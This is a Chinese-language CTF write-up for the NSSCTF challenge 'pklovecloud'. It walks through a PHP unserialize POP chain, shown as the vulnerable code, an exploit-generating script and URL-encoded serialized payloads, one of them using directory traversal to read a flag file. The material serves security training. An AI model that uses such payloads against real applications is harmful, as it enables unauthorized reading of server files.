NSSCTF - Web | 【第五空间 2021】pklovecloud

🌟 关注这个靶场的其它相关笔记:CTF 练习平台 ------ NSSCTF · 过关思路合集

0x01:考点速览

本题考察的是 PHP 反序列化漏洞,与一般考题不同,此次的入口为 __toString() 函数,且大部分对象都没有 __construct() 类,所以需要我们手动在对象内部为其赋值。

0x02:Write UP

访问靶场,是一个代码审计,完整的 PHP 代码如下,没有涉及啥偏僻的函数:

php 复制代码
<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 
​
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  
​
class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  
​
if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

下面开始烧脑分析,笔者我比较喜欢进行反向逆推,即首先确定我们最终的目标,然后从终点摸到起点(建议对着原始代码一行一行理解):

  1. 确定目标:ace::echo_name() => file_get_contents($file)$file = './flag.php'

  2. 要想满足条件一,我们需要让 ace::$filename = "flag.php"

  3. 继续回溯,要想执行 file_get_contents($file) 我们需要满足一个 if 条件:

    • if($this->openstack->neutron === $this->openstack->nova)

    • 突破口:$this->openstack->neutron = $heat;

      • $heat 变量未在当前文件出现过,因此我们可以推测其在 flag.php 文件中。

      • 值得注意的是,赋值发生在 echo_name() 函数中,在 PHP 中函数内部是无法直接访问函数外部定义的变量的,除非使用 global 关键字或参数传递,因此,上面这条语句会报一个错,即 $heat; 未定义。

      • 当 PHP 遇到一个未定义的变量时,它会发出一个 Notice 级别的错误,并将该变量视为 NULL

      • 因此上面的语句可以等价于 $this->openstack->neutron = NULL;

  4. 值确定了,那么下一个问题,哪个类中有 neutronnova 参数?

    • 答:acp() 类。 => 所以 $this->openstack = new acp();acp() 对象中的 $neutron$nova 均为 NULL,即不赋值即可。
  5. 我们又知道 $this->openstack = unserialize($this->docker); 所以我们可以确定 $docker 的值为:serialize(new acp());

  6. 至此,ace::echo_name() 函数分析完毕。

  7. 问题:如何调用 ace::echo_name() 函数?

    • 答:acp::__toString() 方法中的 return $this->cinder->echo_name()。我们需要确保 $this->cinder = new ace();
  8. 继续:如何调用 acp::__toString() 方法?即,什么时候 acp 对象会被当做字符串执行。

    • 答:echo $logData;$logData = unserialize(serialize(new acp()));

至此,整个 POP 链就构造完成了,下面就是开始编写利用代码,下面是完整的利用代码(看注释):

php 复制代码
<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 
​
class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        // $this->cinder = new pkshow;
        $this->cinder = new ace;    // Step 2: 确保 $hits->cinder->echo_name() 调用 ace 对象中的函数
    }  
    function __toString()           // 当对象被当作字符串调用时触发,echo $acp;
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  
​
class ace
{    
    public $filename = "flag.php";     
    public $openstack;
    public $docker = 'O:3:"acp":3:{s:9:"\000*\000cinder";O:6:"pkshow":0:{}s:7:"neutron";N;s:4:"nova";N;}'; // Step 3.4: 这个值通过 echo serialize(new acp()); 获得
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker); // Step 3.3: 由于 neutron 与 nova 都是 acp 中参数,所以确定 $this->docker = serialize(new acp()),且 acp 中的这两个参数都不用赋值,保持 NULL 即可
        $this->openstack->neutron = $heat;                       // Step 3.1: $heat 不存在为 NULL
        if($this->openstack->neutron === $this->openstack->nova) // Step 3.2: $this->openstack->nova = NULL
        {
            $file = "./{$this->filename}";        // Step 4.1: 由于我们最终想要读取 ./flag.php 所以 $this->filename = flag.php
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  
​
// Step 1: 序列化 acp() 类,由于最终 Payload 通过 GET 方式传递,所以我们需要经过 URL 编码
$payload = serialize(new acp());  // 这个就是我们最终传递给 pks 的值
echo urlencode($payload);         // 打印 Payload
​
// if (isset($payload))  
// {
//     $logData = unserialize($payload);
//     echo $logData; 
// } 
?>

运行代码,拿到 Payload 直接传递给 pks 即可:

php 复制代码
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A82%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%5C000%2A%5C000cinder%22%3BO%3A6%3A%22pkshow%22%3A0%3A%7B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

如上,得到提示,flag 位于根目录,这里我们只需要利用目录穿越漏洞,修改一下 ace::$filename 后重新生成 Payload 即可:

bash 复制代码
O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A28%3A%22..%2F..%2F..%2F..%2Fnssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3Bs%3A82%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%5C000%2A%5C000cinder%22%3BO%3A6%3A%22pkshow%22%3A0%3A%7B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D%22%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

如下,成功 GET Flag:

相关推荐
golang学习记3 小时前
从0死磕全栈之Next.js 数据安全实战指南:从零信任到安全架构
前端
云中雾丽3 小时前
flutter中 getx 的使用
前端
Jay丶3 小时前
聊聊入职新公司两个月,试用期没过这件事
前端·面试
ZTeam前端全栈进阶圈3 小时前
Vue新技巧:<style>标签里的 CSS 也能响应式!
前端
ღ_23333 小时前
vue3二次封装element-plus表格,slot透传,动态slot。
前端·javascript·vue.js
摸着石头过河的石头3 小时前
JavaScript继承的多种实现方式详解
前端·javascript
ybb_ymm4 小时前
前端开发之ps基本使用
前端·css
Ashley的成长之路4 小时前
NativeScript-Vue 开发指南:直接使用 Vue构建原生移动应用
前端·javascript·vue.js
衿璃4 小时前
Flutter应用架构设计的思考
前端·flutter